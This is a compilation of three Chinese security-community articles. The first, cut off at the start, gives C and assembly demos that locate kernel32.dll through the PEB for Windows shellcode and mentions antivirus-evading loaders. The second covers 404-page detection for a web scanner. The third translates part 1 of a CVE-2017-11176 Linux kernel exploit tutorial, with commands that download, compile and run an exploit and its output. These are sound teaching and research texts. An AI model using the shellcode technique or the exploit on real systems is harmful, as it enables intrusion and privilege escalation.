void* BaseAddress;
void* EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
HANDLE SectionHandle;
ULONG CheckSum;
ULONG TimeDateStamp;
}MY_LDR_MODULE, * PLDR_MODULE;
int main()
{
PEB_LDR_DATA* pEBLDR;
MY_LDR_MODULE* pLdrMod;
PLDR_MODULE PLdr;
LIST_ENTRY* pNext, * pStart;
_asm
{
mov eax, fs: [0x30]
mov eax, [eax + 0xC]
mov pEBLDR, eax
}
printf("GetModuleHandle Kernel32:0x%08x\n", GetModuleHandle("Kernel32"));
printf("GetModuleHandle ntdll:0x%08x\n", GetModuleHandle("ntdll"));
printf("--------------------------------------------------------------------------\n");
printf("PEB_LDR_DATA:0x%08x\n", pEBLDR);
printf("LDR->InLoadOrderModuleList:\t\t0x%08x\n", pEBLDR->InLoadOrderModuleList);
printf(">>>InLoadOrderModuleList<<<\n");
printf("BaseAddress\t\t BaseDllName\n================================================\n");
pNext = (LIST_ENTRY*)&(pEBLDR->InLoadOrderModuleList);
pStart = pNext;
do
{
pNext = pNext->Flink;
pLdrMod = (MY_LDR_MODULE*)pNext;
printf("0x%08x\t\t", pLdrMod->BaseAddress);
wprintf(L"%s\n", pLdrMod->BaseDllName.Buffer);
} while (pNext != pStart);
printf("LDR->InMemoryOrderModuleList:\t\t0x%08x\n", pEBLDR->InMemoryOrderModuleList);
printf("BaseAddress\t\t BaseDllName\n================================================\n");
pNext = (LIST_ENTRY*)&(pEBLDR->InMemoryOrderModuleList);
pStart = pNext;
do
{
pNext = pNext->Flink;
pLdrMod = CONTAINING_RECORD(pNext, LDR_DATA_TABLE_ENTRY, InMemoryOrderModuleList);
printf("0x%08x\t\t", pLdrMod->BaseAddress);
wprintf(L"%s\n", pLdrMod->BaseDllName.Buffer);
} while (pNext != pStart);
printf("LDR->InInitializationOrderModuleList:\t0x%08x\n", pEBLDR->InInitializationOrderModuleList);
printf("BaseAddress\t\t BaseDllName\n================================================\n");
pNext = (LIST_ENTRY*)&(pEBLDR->InInitializationOrderModuleList);
pStart = pNext;
do
{
pNext = pNext->Flink;
pLdrMod = CONTAINING_RECORD(pNext, LDR_DATA_TABLE_ENTRY, InInitializationOrderModuleList);
printf("0x%08x\t\t", pLdrMod->BaseAddress);
wprintf(L"%s\n", pLdrMod->BaseDllName.Buffer);
} while (pNext != pStart);
getchar();
}
Win10:
win7/winxp:
可以观察到在
InLoadOrderModuleList
InMemoryOrderModuleList
前3个DLL无论内容还是顺序都是完全一样的。
而`InInitializationOrderModuleLists`则在不同Window版本存在差异，故一般不选用这个内存顺序的方式。
### 0x2.3 搜索思路
在第二小节，在C高级语言层面，已经有了大体的搜索逻辑，但是在汇编过程需要对寄存器的选用和值的传递，条件判断进行一些规划，这样在编写汇编的时候，写出的代码不仅简洁还可以更容易理解。
1)`xor eax, eax`清零，`mov eax, fs:[0x30]` 获取PEB地址
2)`mov eax, [eax + 0x0c]` 获取LDR地址，0x30和0x0c上面都有讲的，偏移量。
3)
`mov esi, [eax + 0Ch]` //则指向InLoadOrderModuleList
`mov esi, [eax + 14h]` //则指向InMemoryOrderModuleList
4)遍历Flink，找到Kernel32.dll的位置
位置在第3个，这里需要简单计算下。
指向InLoadOrderModuleList 的同时就是第一个了。
再指向一次`mov esi, [esi]`,就是第二个了。
`lodsd`或者`mov esi,[esi];mov eax, esi`,就是第三个了
5)获取Kernel地址，这里也需要小小计算一下。
`mov eax,[eax+08h]` //InLoadOrderModuleList 顺序
`mov eax, [eax+18h]` //InMemoryOrderModuleList 顺序
6)完成赋值,`mov address, eax`; 最后输入验证结果。
### 0x2.4 汇编实现
//InLoadOrderModuleList
#include <Windows.h>
#include <stdio.h>
int main()
{
unsigned int address;
__asm {
xor eax, eax
mov eax, fs: [eax + 30h] ; 指向PEB的指针
mov eax, [eax + 0ch]; 指向PEB_LDR_DATA的指针
mov eax, [eax + 0ch]; 根据PEB_LDR_DATA得出InLoadOrderModuleList的Flink字段
mov esi, [eax];
lodsd;
mov eax, [eax + 18h]; Kernel.dll的基地址
mov address, eax;
}
printf("0x:%p\n", address);
HANDLE kernelA = LoadLibrary(L"kernel32.dll");
printf("0x:%p\n", kernelA);
system("pause");
return 0;
}
//InMemoryOrderModuleList 顺序的实现
#include <Windows.h>
#include <stdio.h>
int main()
{
unsigned int address;
__asm {
xor eax, eax;
mov eax, fs: [eax + 30h] ; 指向PEB的指针
mov eax, [eax + 0ch]; 指向PEB_LDR_DATA的指针
mov eax, [eax + 14h]; 根据PEB_LDR_DATA得出InMemoryOrderModuleList的Flink字段
mov esi, [eax];
lodsd;
mov eax, [eax + 10h]; Kernel.dll的基地址
mov address, eax;
}
printf("0x:%p\n", address);
HANDLE kernelA = LoadLibrary(L"kernel32.dll");
printf("0x:%p\n", kernelA);
system("pause");
return 0;
}
当然我知道有些怀疑主义严重的小伙伴会想这个加载顺序是不是固定一样的呀？
要是变了的话怎么办，这种固定的写法，是不是会出错呀？
其实这种顾虑不用担心，因为绝大多数都是固定的，不过针对这个问题，我可以优化下汇编代码，使其更加通用。
代码优化实现选择先顺序遍历，再判断长度，因为判断名字有差不多24字节，入栈的话需要倒序，然后小端序来排列，12个push，有点累呀，就没做完整的基于模块名字的准确判断，这里只给个判断长度的Demo代码。当然本质上这种优化Duck
可不必，作为一个脚本小子应该没有机会遇到那么阴间的情况。
#include <Windows.h>
#include <stdio.h>
int main()
{
unsigned int address;
__asm {
xor eax, eax
mov eax, fs: [eax + 30h] ; 指向PEB的指针
mov eax, [eax + 0ch]; 指向PEB_LDR_DATA的指针
mov eax, [eax + 0ch]; 根据PEB_LDR_DATA得出InLoadOrderModuleList的Flink字段
push 0x001a0018; //BaseDllName-> Length MaximumLength
mov edi, [esp];
Next: // Foreach InLoadOrderModuleList item
mov eax, [eax]; // Flink -> Flink
cmp edi, [eax + 0x2c];
jne Next
mov eax, [eax + 18h]; Kernel.dll的基地址
mov address, eax;
add esp, 0x4; // make stack balanced
}
printf("0x:%p\n", address);
HANDLE kernelA = LoadLibrary(L"kernel32.dll");
printf("0x:%p\n", kernelA);
system("pause");
return 0;
}
## 0x3 总结
本文内容较为基础简单，是老生常谈的Window x86
ShellCode的组成部分，当然其也是关键的一部分。本文从两个方面对此技术展开了详细的介绍，首先从暴力搜索方面，其作为最早的搜索手段，有一定的时期合理性，但是在现在看来不是一个很好的选择，接着本文继续对基于PEB定位基址的技术，进行了逐步分解介绍，最终以Demo代码实现完结，并给读者留下了进一步尝试的空间。
>
> 穿插一句，如果你与笔者一样是个萌新/脚本小子，一样想低门槛地编写无视常规杀软，进阶至在驱动层面透明的ShellCodeLoader,那么可以关注后续笔者相关的产出和找我一起交流。
## 0x4 参考链接
[通用ShellCode的编写](https://wizardforcel.gitbooks.io/q-buffer-overflow-tutorial/content/116.html)
[旧书重温：0day2【2】
实验：三种获取kernel32.dll基址的方法](https://www.cnblogs.com/witty/p/3457105.html)
[《基于监督学习的病毒检测技术研究》](https://books.google.ru/books?id=-cLsDwAAQBAJ&pg=PT57&lpg=PT57&dq=Kernel32.dll%E4%B8%AD%E7%9A%84CreateProcess%E5%87%BD%E6%95%B0+%E8%8E%B7%E5%8F%96%E5%9F%BA%E5%9D%80&source=bl&ots=O-jEzLeuDN&sig=ACfU3U05xAiMQdJgHDnnYlKP6WARnVTinA&hl=zh-CN&sa=X&ved=2ahUKEwiT5vDOr-jzAhWQv4sKHc6OB_UQ6AF6BAgdEAM#v=onepage&q=Kernel32.dll%E4%B8%AD%E7%9A%84CreateProcess%E5%87%BD%E6%95%B0%20%E8%8E%B7%E5%8F%96%E5%9F%BA%E5%9D%80&f=false)
[[求助]Win32汇编问题](https://bbs.pediy.com/thread-97264.htm)
[关于Windows下ShellCode编写的一点思考](http://www.reddragonfly.org/index.php?action=list&id=30)
[获取DLL的函数地址](https://blog.qwerdf.com/2019/01/08/GetFunctionAddr/)
[基于shellcode检测的缓冲区溢出攻击防御技术研究 -计算机应用](http://www.joca.cn/CN/abstract/abstract10077.shtml)
[详解CreateProcess调用内核创建进程的过程](https://www.cnblogs.com/Gotogoo/p/5262536.html)
[结构化异常SEH处理机制详细介绍(一）](https://www.cnblogs.com/yilang/p/11233935.html)
...... | 社区文章 |
最近在开发个综合扫描器,然后在开发目录、敏感信息扫描的时候遇到了些问题,那就是404页面怎么识别处理这个问题,这个问题在面试的时候也被问到过,这里记录下我的解决方案。
有一部分在白帽子讲web扫描这本书中给出的解决方案,下面我会记录下来。
### 404页面的识别
#### 列举几种可能遇到的情况
##### 状态码=404
这种是最常见也是最容易区分出来的,直接根据状态码的返回即可区分。
##### 跳转
这种遇到不存在会自动跳转到首页,还有一种是跳转到指定的错误页面
##### 不跳转、显示报错页面
#### 解决方法
首先在<<白帽子讲web扫描>>中给的方法是,通过状态码和页面内容两个维度去分析,比如说我们可以构造类似no_exists_for_test.html这种情况的页面来触发404,在实际的文件名构造中可以加入随机因子,然后将这些页面的特征进行提取和储存,当访问一个页面的时候先判断状态码是否为404,如果不是的话再去与404页面进行相似度的比较,如果高于阀值的话就判定为404页面。
那么问题是怎么来计算相似度呢?
* SimHash
SimHash为Google处理海量网页的采用的文本相似判定方法。该方法的主要目的是降维，即将高维的特征向量映射成f-bit的指纹，通过比较两篇文档指纹的汉明距离来表征文档重复或相似性。
* 余弦相似性
这个计算方法是根据余弦的夹角来判断相似性的,因为一开始我们需要提取数据然后进行向量化,比如说向量化后的数据为A=[x1, y1],B=[x2,
y2],那么通过公式
我们可以计算出角度,那么我们可以通过夹角的大小，来判断向量的相似程度。夹角越小，就代表越相似。
有人会问这是两个点的坐标来计算的,网页提取完肯定不会是两个点啊,当然,余弦的这种计算方法对n维向量也成立,那么我们可以使用这个公式来计算
* 皮尔逊相关系数
皮尔逊相关系数是余弦相似度在维度缺失的情况下的一种改进,为什么这么说呢,如果对于如下这种向量
v1 = (1, 2, 4),
v2=(3, -1, null)
因为这两个向量由于v2中第三个维度有null, 无法使用余弦相似性来计算,皮尔逊相关系数公式实际上就是在计算夹角余弦之前将两个向量
**减去各个样本的平均值** ，达到 **中心化** 的目的。从知友的回答可以明白，皮尔逊相关函数是 **余弦相似度在维度缺失上面的一种改进方法** 。
其实还有一个问题,就是提取页面的哪些值处理为向量呢？
这里我选择将页面中的文本提取出来,整理成类似文章,然后使用TF-IDF算法进行分词,然后计算相似性,这里因为提取多少个词是由我们决定的,所以不存在维度缺失的问题,nMask大佬是提取的标签来计算的相似性。
这里我提供部分代码
class TextExtraction:
def __init__(self, url, number):
self.url = url
def text_extraction(self):
try:
resp = requests.get(url=self.url, timeout=1)
except BaseException as e:
raise e
resp.encoding='utf-8'
soup = BeautifulSoup(resp.text,'lxml')
title_text = soup.title.string
body_text = soup.find("body").get_text().replace("\n", "").replace("\r", "").replace("\t", "").replace(" ", "")
text = title_text + body_text
return text
class Similarity:
def __init__(self, target1, target2, topK=30):
self.target1 = target1
self.target2 = target2
self.topK = topK
def vector(self):
self.vdict1 = {}
self.vdict2 = {}
top_keywords1 = jieba.analyse.extract_tags(self.target1, topK=self.topK, withWeight=True)
top_keywords2 = jieba.analyse.extract_tags(self.target2, topK=self.topK, withWeight=True)
for k, v in top_keywords1:
self.vdict1[k] = v
for k, v in top_keywords2:
self.vdict2[k] = v
def mix(self):
for key in self.vdict1:
self.vdict2[key] = self.vdict2.get(key, 0)
for key in self.vdict2:
self.vdict1[key] = self.vdict1.get(key, 0)
def mapminmax(vdict):
_min = min(vdict.values())
_max = max(vdict.values())
_mid = _max - _min
for key in vdict:
vdict[key] = (vdict[key] - _min)/_mid
return vdict
self.vdict1 = mapminmax(self.vdict1)
self.vdict2 = mapminmax(self.vdict2)
def similar(self):
self.vector()
self.mix()
sum = 0
for key in self.vdict1:
sum += self.vdict1[key] * self.vdict2[key]
A = sqrt(reduce(lambda x,y: x+y, map(lambda x: x*x, self.vdict1.values())))
B = sqrt(reduce(lambda x,y: x+y, map(lambda x: x*x, self.vdict2.values())))
return sum/(A*B)
这段代码还有一些没有完善很好的地方,只是个思路,具体实现会在开发完成后开源。
参考:
https://thief.one/2018/04/12/1/
https://www.cnblogs.com/shaosks/p/9121774.html
https://zhuanlan.zhihu.com/p/33164335 | 社区文章 |
**本文翻译自：[CVE-2017-11176: A step-by-step Linux Kernel exploitation (part
1/4)](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html)**
# 简介
此系列介绍了从CVE描述到一步一步实现Linux内核漏洞利用的详细过程。一开始先分析补丁，以理解漏洞并在内核态下触发漏洞([part
1](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html))，然后逐步构建一个有效的漏洞验证代码(proof-of-concept,POC)([part
2](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html))。然后改写PoC实现简单的任意代码调用([part
3](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html))，最终在ring-0(内核态)下执行任意代码([part
4](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html))。
面向的读者是Linux内核新手(对老手并没有太多新的东西)。由于大多数内核漏洞利用文章假定读者已经熟悉内核代码，我们将尝试通过解析核心数据结构和重要的代码路径来填补这之间的差距。最后，
**应该了解漏洞利用代码的每一行，以及它们对内核的影响。**
显然不可能在一篇文章中涵盖所有内容，但我们将努力解析实现漏洞利用所需的每个内核路径。可以把它想象成一个由实际例子引领的Linux内核导览。内核漏洞利用实现实际上是理解Linux内核的一种方法。此外，我们将展示一些调试技术，工具，常见错误以及解决方法。
这里利用的CVE是CVE-2017-11176，又名“mq_notify：double
sock_put()”。大多数发行版在2017年年中修补了此漏洞。在撰写本系列时，没有已知的公开针对这一漏洞的漏洞利用。
这里公开的内核代码与特定版本(v2.6.32.x)匹配，但该bug也会影响最高至4.11.9版本的内核。有人可能认为这个版本太旧了，但它实际上仍然在很多地方使用，而且某些内核代码路径可能更容易理解。在更新的内核上找到相应的路径应该不会太难。
这里构建的漏洞不是所有内核版本通用的。因此，需要进行一些修改才能在另一个内核版本上使用它(结构偏移/布局，gadgets，函数地址......)。不要试图按原样直接运行漏洞，这只会让你的系统崩溃！你可以在[这里](https://github.com/lexfo/linux/blob/master/cve-2017-11176.c)找到最终的漏洞利用代码。
建议下载存在漏洞的[内核源代码](https://www.kernel.org/)，并尝试实时跟踪代码(甚至更进一步，实现漏洞利用)。启动你最喜欢的代码下载工具，让我们开始吧！
**Warning** ：请不要对这个系列的规模感到害怕，里面有大量的代码。无论如何，如果你真的想深入内核，你必须准备好阅读大量的代码和文档。慢慢来。
**Note** ：我们并没有发现这个漏洞，它基本上是1-day的利用实现。
# 目录
* 推荐阅读
* 环境设置
* 核心概念
* 公开信息
* 理解漏洞
* Reaching the Retry Logic
* 强制触发漏洞
* 结论
## 推荐阅读
本文仅涵盖整个内核的一小部分。建议你阅读这些书(非常棒的书)：
* 深入理解Linux内核(D.P.Bovet，M.Cesati)
* 深入理解Linux网络内幕(C.Benvenuti)
* 内核漏洞的利用与防范(E.Perla，M.Oldani)
* Linux设备驱动程序(J.Corbet，A.Rubini，G.Kroah-Hartman)
## 环境设置
此处展示的代码来自特定版本(2.6.32.x)。但是你可以尝试在以下目标上实现漏洞利用。代码中可能存在轻微变化，但漏洞应该还是可以利用的。
[Debian 8.6.0 (amd64)
ISO](https://cdimage.debian.org/mirror/cdimage/archive/8.6.0-live/amd64/iso-hybrid/debian-live-8.6.0-amd64-standard.iso)
该ISO运行3.16.36内核。我们只确认该漏洞是可以访问的，并导致内核崩溃。大多数改变将在漏洞利用开发的最后阶段出现(参见第3部分和第4部分)。
虽然该漏洞(通常)可以在各种配置/架构中被利用，我们配置的环境如下：
* 内核版本必须低于4.11.9(我们建议小于4.x版本)
* 它必须在“amd64”(x86-64)架构上运行
* 具有root访问权限以进行调试
* 内核使用SLAB分配器
* SMEP已启用
* kASLR和SMAP被禁用
* 内存 >= 512MB
* 任意数量的CPU。 一个也没关系，你很快就会理解为什么。
**WARNING** ：由于推荐内核版本中的代码变化，建议将CPU数设置为1。否则，重新分配可能需要额外的步骤(参见第3部分)。
该ISO上的“默认”配置满足所有要求。如果想在另一个版本上开发漏洞利用，请参阅下一节。
即使你不知道什么是SLAB/SMEP/SMAP，也不必担心，这将在[part
3](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html)和[part 4](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html)中介绍。
**WARNING**
：为了方便调试，必须使用虚拟化软件运行目标。但是，我们不鼓励使用virtualbox，因为它不支持SMEP(不确定它现在是否支持)。可以使用免费版本的vmware或任何其他虚拟化工具，只要支持SMEP(我们将绕过SMEP)。
一旦安装了系统，我们需要检查系统配置是否符合预期。
### 检查SLAB/SMEP/SMAP/KASLR状态
要了解是否启用了SMEP，请运行以下命令。输出中必须存在“smep”字符串：
$ grep "smep" /proc/cpuinfo
flags : [...] smep bmi2 invpcid
^--- this one
如果没有，请确保 **cat /proc/cmdline** 中没有 **nosmep** 字符串。如果存在，则需要编辑
**/etc/default/grub** 文件并修改以下行：
# /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet" // must NOT have "nosmep"
GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz" // must NOT have "nosmep"
然后运行 **update-grub** 并重启系统。如果仍然禁用smep(检查 _/proc/cpuinfo_ )，则使用另一个虚拟化工具。
对于SMAP，则需要做相反的事。首先，查找“smap”是否在/proc/cpuinfo中。
如果"smap"没有出现，一切都没问题。否则，在grub配置文件中添加“nosmap”(然后update-grub并重新启动)。
这里开发的漏洞利用我们将使用“硬编码”的地址。因此，必须禁用kASLR。这相当于对于内核的ASLR([地址空间布局随机化](https://en.wikipedia.org/wiki/Address_space_layout_randomization))。要禁用它，可以在cmdline中添加
**nokaslr** 选项(就像nosmap一样)。最后，grub cmdline应该是这样的：
GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr nosmap"
GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz"
最后，必须使用SLAB分配器。可以用下列命令验证内核是否正在使用它：
$ grep "CONFIG_SL.B=" /boot/config-$(uname -r)
CONFIG_SLAB=y
必须是 **CONFIG_SLAB=y** 。Debian默认使用SLAB而Ubuntu默认使用SLUB。如果不是，那么将需要 **重新编译内核**
。请阅读文档。
同样，建议的ISO满足所有这些要求，因此只需检查一切是否正常。
### 安装 SystemTap
如前所述，ISO运行v3.16.36(uname
-v)内核，该内核存在此漏洞(在[v3.16.47](https://lwn.net/Articles/732094/)中修复)。
**WARNING** ：不要遵循systemtap安装过程，因为它可能会更新内核！
因此，我们需要获取特定版本的.deb包并手动安装。需要：
* linux-image-3.16.0-4-amd64_3.16.36-1+deb8u1_amd64.deb
* linux-image-3.16.0-4-amd64-dbg_3.16.36-1+deb8u1_amd64.deb
* linux-headers-3.16.0-4-amd64_3.16.36-1+deb8u1_amd64.deb
可以从此[链接](https://snapshot.debian.org/package/linux/3.16.36-1%2Bdeb8u1/)下载或者输入：
# wget https://snapshot.debian.org/archive/debian-security/20160904T172241Z/pool/updates/main/l/linux/linux-image-3.16.0-4-amd64_3.16.36-1%2Bdeb8u1_amd64.deb
# wget https://snapshot.debian.org/archive/debian-security/20160904T172241Z/pool/updates/main/l/linux/linux-image-3.16.0-4-amd64-dbg_3.16.36-1%2Bdeb8u1_amd64.deb
# wget https://snapshot.debian.org/archive/debian-security/20160904T172241Z/pool/updates/main/l/linux/linux-headers-3.16.0-4-amd64_3.16.36-1%2Bdeb8u1_amd64.deb
然后安装：
# dpkg -i linux-image-3.16.0-4-amd64_3.16.36-1+deb8u1_amd64.deb
# dpkg -i linux-image-3.16.0-4-amd64-dbg_3.16.36-1+deb8u1_amd64.deb
# dpkg -i linux-headers-3.16.0-4-amd64_3.16.36-1+deb8u1_amd64.deb
完成后，重新启动系统，并使用以下命令下载SystemTap：
# apt install systemtap
最后，确保一切正常：
# stap -v -e 'probe vfs.read {printf("read performed\n"); exit()}'
stap: Symbol `SSL_ImplementedCiphers' has different size in shared object, consider re-linking
Pass 1: parsed user script and 106 library script(s) using 87832virt/32844res/5328shr/28100data kb, in 100usr/10sys/118real ms.
Pass 2: analyzed script: 1 probe(s), 1 function(s), 3 embed(s), 0 global(s) using 202656virt/149172res/6864shr/142924data kb, in 1180usr/730sys/3789real ms.
Pass 3: translated to C into "/tmp/stapWdpIWC/stap_1390f4a5f16155a0227289d1fa3d97a4_1464_src.c" using 202656virt/149364res/7056shr/142924data kb, in 0usr/20sys/23real ms.
Pass 4: compiled C into "stap_1390f4a5f16155a0227289d1fa3d97a4_1464.ko" in 6310usr/890sys/13392real ms.
Pass 5: starting run.
read performed // <-------------- Pass 5: run completed in 10usr/20sys/309real ms.
### 最后一次检查
除了SystemTap之外，目标内核将用于编译和运行漏洞利用程序，因此运行以下命令：
# apt install binutils gcc
下载[exploit](https://github.com/lexfo/linux/blob/master/cve-2017-11176.c):
$ wget https://raw.githubusercontent.com/lexfo/linux/master/cve-2017-11176.c
**由于推荐的内核和exp针对的内核之间的代码差异，这里的“used-after-freed”对象位于“kmalloc-2048”缓存(而不是kmalloc-1024)。** 也就是说，需要更改exp中的以下行：
#define KMALLOC_TARGET 2048 // instead of 1024
这是由于此漏洞不是所有内核版本都通用所产生的问题。可以通过阅读第3部分来了解此处的更改。现在，编译并运行exp：
$ gcc -fpic -O0 -std=c99 -Wall -pthread cve-2017-11176.c -o exploit
$ ./exploit
[ ] -={ CVE-2017-11176 Exploit }=- [+] successfully migrated to CPU#0
[+] userland structures allocated:
[+] g_uland_wq_elt = 0x120001000
[+] g_fake_stack = 0x20001000
[+] ROP-chain ready
[ ] optmem_max = 20480
[+] can use the 'ancillary data buffer' reallocation gadget!
[+] g_uland_wq_elt.func = 0xffffffff8107b6b8
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 200 reallocation threads ready!
[+] reallocation ready!
[+] 300 candidates created
[+] parsing '/proc/net/netlink' complete
[+] adjacent candidates found!
[+] netlink candidates ready:
[+] target.pid = -4590
[+] guard.pid = -4614
[ ] preparing blocking netlink socket
[+] receive buffer reduced
[ ] flooding socket
[+] flood completed
[+] blocking socket ready
[+] netlink fd duplicated (unblock_fd=403, sock_fd2=404)
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 576 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 404 fd
[ ][unblock] unblocking now
[ 55.395645] Freeing alive netlink socket ffff88001aca5800
[+] mq_notify succeed
[+] guard socket closed
[ 60.399964] general protection fault: 0000 [#1] SMP
... cut (other crash dump info) ...
<<< HIT CTRL-C >>>
漏洞利用失败(并没有出现root shell)，因为它不是针对此内核版本的。 因此，它需要修改(参见第3部分和第4部分)。但是，它验证了我们可以触发漏洞。
**WARNING** ：由于我们的内核版本与建议的内核版本之间存在其他差异， **因此你不会遇到内核崩溃**
(例如第2部分)。原因是，内核在某些错误上不会崩溃(就像上面那样)，而只是挂起或杀死该进程。但是，它处于不稳定状态，可能随时崩溃。建议阅读代码并理解这些差异。
### 下载内核源码
一旦系统安装完毕并准备就绪，下一步就是获取内核源码。同样，由于我们使用的是 _过时_ 的内核，我们可以使用下列命令下载它：
# wget https://snapshot.debian.org/archive/debian-security/20160904T172241Z/pool/updates/main/l/linux/linux-source-3.16_3.16.36-1%2Bdeb8u1_all.deb
并安装
# dpkg -i linux-source-3.16_3.16.36-1+deb8u1_all.deb
内核源码应位于： **/usr/src/linux-source-3.16.tar.xz.**
由于目标内核会 **崩溃很多次**
，因此必须在主机上分析内核代码并开发漏洞利用代码。也就是说，将这些源码下载到你的主机系统。目标机子只用于编译/运行exp和SystemTap。
可以使用任何代码分析工具。需要有效地交叉引用符号。Linux拥有数百万行代码，没有这个会迷失在代码的海洋中。
许多内核开发人员似乎都在使用 **cscope**
。可以通过[这样](http://cscope.sourceforge.net/large_projects.html)或仅仅下列命令来生成交叉引用：
cscope -kqRubv
cscope数据库生成需要几分钟，然后使用一个带有插件的编辑器(例如vim，emacs)。
希望你现在已准备好开发你的第一个内核漏洞。
GL＆HF！:-)
## 核心概念
为了不在CVE分析的一开始就迷失，有必要介绍Linux内核的一些核心概念。请注意，为了保持简洁，本文中大多数结构体都是不完整的。
### 进程描述符(task_struct)和current宏
每个任务都有一个 _task_struct_ 对象存在于内存中。一个用户空间 _进程_ 至少由一个任务组成。在多线程应用程序中，每个线程都有一个
_task_struct_ 。内核线程也有自己的 _task_struct_ (例如kworker，migration)。
task_struct包含以下重要信息：
// [include/linux/sched.h]
struct task_struct {
volatile long state; // process state (running, stopped, ...)
void *stack; // task's stack pointer
int prio; // process priority
struct mm_struct *mm; // memory address space
struct files_struct *files; // open file information
const struct cred *cred; // credentials
// ...
};
访问当前运行的任务是一种常见的操作，存在宏以获取指向当前任务的指针： **current** 。
### 文件描述符，文件对象和文件描述符表
每个人都知道 _“一切都是文件”_
，但它究竟是什么[意思](https://yarchive.net/comp/linux/everything_is_file.html)？
在Linux内核中，有七种基本文件：常规，目录，链接，字符设备，块设备，fifo和socket。它们中的每一个都可以由 **文件描述符**
表示。文件描述符基本上是一个仅对给定进程有意义的整数。对于每个文件描述符，都有一个关联的结构体： **struct file** 。
_file_ 结构体(或文件对象)表示已打开的文件。它不一定匹配磁盘上的任何内容。例如，考虑访问像 **/proc**
这样的伪文件系统中的文件。在读取文件时，系统可能需要跟踪当前文件读取的位置。这是存储在file结构体中的一种信息。指向file结构体的指针通常被命名为filp(file
pointer)。
file结构体中最重要的字段是：
// [include/linux/fs.h]
struct file {
loff_t f_pos; // "cursor" while reading file
atomic_long_t f_count; // object's reference counter
const struct file_operations *f_op; // virtual function table (VFT) pointer
void *private_data; // used by file "specialization"
// ...
};
将文件描述符转换为file结构体指针的映射关系被称为 **文件描述符表(fdt)** 。
请注意，这不是1对1映射，可能有多个文件描述符指向同一个文件对象。在这种情况下，指向的文件对象的引用计数增加1(参见[Reference
Counters](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html#reference-counters))。FDT存储在一个名为 **struct fdtable**
的结构体中。这实际上只是一个file结构体指针数组，可以使用文件描述符进行索引。
// [include/linux/fdtable.h]
struct fdtable {
unsigned int max_fds;
struct file ** fd; /* current fd array */
// ...
};
将文件描述符表与进程关联起来的是 **struct files_struct** 。 fdtable没有直接嵌入到 _task_struct_
中的原因是它有其他信息。一个 _files_struct_ 结构体也可以在多个线程(即 _task_struct_ )之间共享，并且还有一些优化技巧。
// [include/linux/fdtable.h]
struct files_struct {
atomic_t count; // reference counter
struct fdtable *fdt; // pointer to the file descriptor table
// ...
};
指向 _files_struct_ 的指针存储在 _task_struct_ (filed _files_ )中。
### 虚表(VFT)
虽然Linux主要由C实现，但Linux仍然是 _面向对象_ 的内核。
实现某种 _通用性_ 的一种方法是使用 **虚函数表(vft)** 。 虚函数表是一种主要由函数指针组成的结构。
最知名的VFT是 **struct file_operations** ：
// [include/linux/fs.h]
struct file_operations {
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
int (*open) (struct inode *, struct file *);
int (*release) (struct inode *, struct file *);
// ...
};
虽然 _一切都是文件_ 但不是同一类型，因此它们都有各自不同的 **文件操作** ，通常称为 **f_ops** 。
这样做允许内核代码独立于其类型和代码分解(code factorization，不知道具体应该如何翻译)来处理文件。它导致了这样的代码：
if (file->f_op->read)
ret = file->f_op->read(file, buf, count, pos);
### Socket, Sock 和 SKB
**struct socket**
位于网络堆栈的顶层。从文件的角度来看，这是第一级特殊化。在套接字创建期间(socket()syscall)，将创建一个新的file结构体，并将其文件操作(filed
f_op)设置为 **socket_file_ops** 。
由于每个文件都用文件描述符表示，因此你可以用套接字文件描述符作为参数来调用任何以文件描述符作为参数的系统调用(例如read()，write()，close())。
这实际上是“一切都是文件”座右铭的主要好处。独立于套接字的类型，内核将调用通用套接字文件操作：
// [net/socket.c]
static const struct file_operations socket_file_ops = {
.read = sock_aio_read, // <---- calls sock->ops->recvmsg()
.write = sock_aio_write, // <---- calls sock->ops->sendmsg()
.llseek = no_llseek, // <---- returns an error
// ...
}
由于 _struct socket_ 实际上实现了 _BSD socket API_
(connect()，bind()，accept()，listen()，...)，因此它们嵌入了一个类型为struct proto_ops的
_特殊虚函数表(vft)_ 。每种类型的套接字(例如AF_INET，AF_NETLINK)都实现自己的proto_ops。
// [include/linux/net.h]
struct proto_ops {
int (*bind) (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len);
int (*connect) (struct socket *sock, struct sockaddr *vaddr, int sockaddr_len, int flags);
int (*accept) (struct socket *sock, struct socket *newsock, int flags);
// ...
}
当调用BSD类型的系统调用(例如bind())时，内核通常遵循下列过程：
1. 从文件描述符表中获得 _file_ 结构体指针
2. 从 _file_ 结构体中获得 _socket_ 结构体指针
3. 调用专门的 _proto_ops_ 回调函数(例如sock-> ops-> bind())
由于某些协议操作(例如发送/接收数据)可能实际上需要进入网络堆栈的较低层，因此 _struct socket_ 具有指向 _struct sock_
对象的指针。该指针通常由套接字协议操作( _proto_ops_ )使用。最后， _struct socket_ 是 _struct file_ 和
_struct sock_ 之间的一种粘合剂。
// [include/linux/net.h]
struct socket {
struct file *file;
struct sock *sk;
const struct proto_ops *ops;
// ...
};
_struct sock_ 是一个复杂的数据结构。人们可能会将其视为下层(网卡驱动程序)和更高级别(套接字)之间的中间事物。其主要目的是能够以 _通用_
方式保持接收/发送缓冲区。
